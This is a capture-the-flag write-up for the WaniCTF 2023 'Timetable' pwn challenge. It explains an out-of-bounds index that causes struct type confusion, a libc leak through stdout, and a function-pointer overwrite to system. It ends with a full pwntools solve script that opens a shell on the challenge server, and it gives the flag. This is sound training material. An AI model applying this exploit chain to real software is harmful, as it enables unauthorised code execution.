Timetable
In WaniCTF 2023, 294 points
Is your timetable alright?
nc timetable-pwn.wanictf.org 9008
Challenge files: pwn-TimeTable.zip
The program allows the user to select certain classes to be added to a timetable.
Each class is represented by a comma struct:
typedef struct {
char *name;
int type;
void *detail;
} comma;The type field is 0 if the class is an elective and 1 if the class is mandatory.
The detail pointer points to either a mandatory_subject struct or an elective_subject struct:
typedef struct {
char *name;
int time[2];
char *target[4];
char memo[32];
char *professor;
} mandatory_subject;
typedef struct {
char *name;
int time[2];
char memo[32];
char *professor;
int (*IsAvailable)(student *);
} elective_subject;The IsAvailable function pointer takes a pointer to a student struct:
typedef struct {
char name[10];
int studentNumber;
int EnglishScore;
} student;This function pointer is called to determine if a student can take a specific elective:
void register_elective_class() {
int i;
elective_subject choice;
print_table(timetable);
printf("-----Elective Class List-----\n");
print_elective_list();
printf(">");
scanf("%d", &i);
choice = elective_list[i];
if (choice.IsAvailable(&user) == 1) { // here!
timetable[choice.time[0]][choice.time[1]].name = choice.name;
// The type of timetable is 0 by default since it is a global value.
timetable[choice.time[0]][choice.time[1]].detail = &elective_list[i];
} else {
printf("You can't register this class\n");
}
}Since we control the name of the student, overwriting the IsAvailable pointer to system would allow us to achieve RCE.
The available subjects are already preinitialized:
mandatory_subject mandatory_list[3] = {computer_system, digital_circuit,
system_control};
elective_subject elective_list[2] = {world, intellect};Type confusion
The existence of a void* that can point to two different structs, including one with a function pointer, is pretty suspicious, especially in the context of a CTF challenge.
Here's the two structs side by side so we can better visualize how they overlap:

We observe that the memo char array of the mandatory_subject struct overlaps nicely with the function pointer in the elective_subject struct.
Now, we just need to find somewhere in the code that results in type confusion.
Array OOB access
This opportunity is provided in the register_mandatory_class function:
void register_mandatory_class() {
int i;
mandatory_subject choice;
print_table(timetable);
printf("-----Mandatory Class List-----\n");
print_mandatory_list();
printf(">");
scanf("%d", &i);
choice = mandatory_list[i]; // !!!!
printf("%d\n", choice.time[0]);
timetable[choice.time[0]][choice.time[1]].name = choice.name;
timetable[choice.time[0]][choice.time[1]].type = MANDATORY_CLASS_CODE;
timetable[choice.time[0]][choice.time[1]].detail = &mandatory_list[i];
}There is no bounds checking performed when retrieving a mandatory class from the list.
Since the mandatory_list is located at 0x4050C0 and the elective_list is located at 0x4051E0, 288 bytes away. Unfortunately, 288 is not evenly divisible by 88, the size of a mandatory_subject struct. So we have to target the next item in the elective_list, "The World of Intellect", which is located at 0x405220. This subject can be perfectly accessed using index 4 (0x405220-0x4050C0 == 88 * 4).
Exploitation
Remember how the memo char array of a mandatory_subject overlaps the function pointer of an elective_subject? Luckily for us, there are functions that allow us to read and write the memo field of a subject:
void write_memo() {
comma *choice = choose_time(timetable);
printf("WRITE MEMO FOR THE CLASS\n");
if (choice->type == MANDATORY_CLASS_CODE) {
read(0, ((mandatory_subject *)choice->detail)->memo, 30);
} else if (choice->type == ELECTIVE_CLASS_CODE) {
read(0, ((elective_subject *)choice->detail)->memo, 30);
}
}
void print_mandatory_subject(mandatory_subject *mandatory_subjects) {
printf("Class Name : %s\n", mandatory_subjects->name);
// ...
// ...
printf("Short Memo : %s\n", mandatory_subjects->memo);
}But before we can overwrite the function pointer to system, we would first need to leak a libc address.
Luckily for us, "The World of Intellect" is the last element in the elective_subject array, which borders the bss region. The first symbol in the BSS region is stdout@GLIBC_2.2.5, which is a pointer to _IO_2_1_stdout_, the stdout file stream object located in libc:

By using the type confusion vulnerability, we can completely overwrite the elective's subject prof pointer and the function pointer. Thus, when the memo array is printed, the value of stdout@GLIBC_2.2.5 will be leaked as well, allowing us to determine the libc base address:

Now, all that's left is to overwrite the function pointer to system and register the elective to trigger a call to system("/bin/sh").
Solve script
from pwn import *
e = ELF("chall")
libc = ELF("libc.so.6", checksec=False)
context.binary = e
def setup():
p = remote("timetable-pwn.wanictf.org",9008)
return p
if __name__ == '__main__':
p = setup()
safe_ptr = 0x0000000040314a
# Register user with name /bin/sh
p.sendline("/bin/sh")
p.sendline("0")
p.sendline("0")
p.sendline("0")
# register elective as mandatory class
p.sendline("1")
p.sendline("4")
# Edit memo
p.sendline("4")
p.sendline("FRI 3")
p.send(b"A"*16)
p.clean()
# Leak libc
p.sendline("3")
p.sendline("FRI 3")
p.recvuntil("Short Memo : AAAAAAAAAAAAAAAA")
l = u64(p.recvline()[:-1]+b"\0\0")
libc.address = l - libc.sym._IO_2_1_stdout_
print(hex(libc.address))
# Edit memo to overwrite function pointer
p.sendline("4")
p.sendline("FRI 3")
p.send(p64(safe_ptr)+p64(libc.sym.system))
p.clean()
# Register elective to trigger system("/bin/sh")
p.sendline("2")
p.sendline("1")
p.interactive()Flag
FLAG{Do_n0t_confus3_mandatory_and_el3ctive}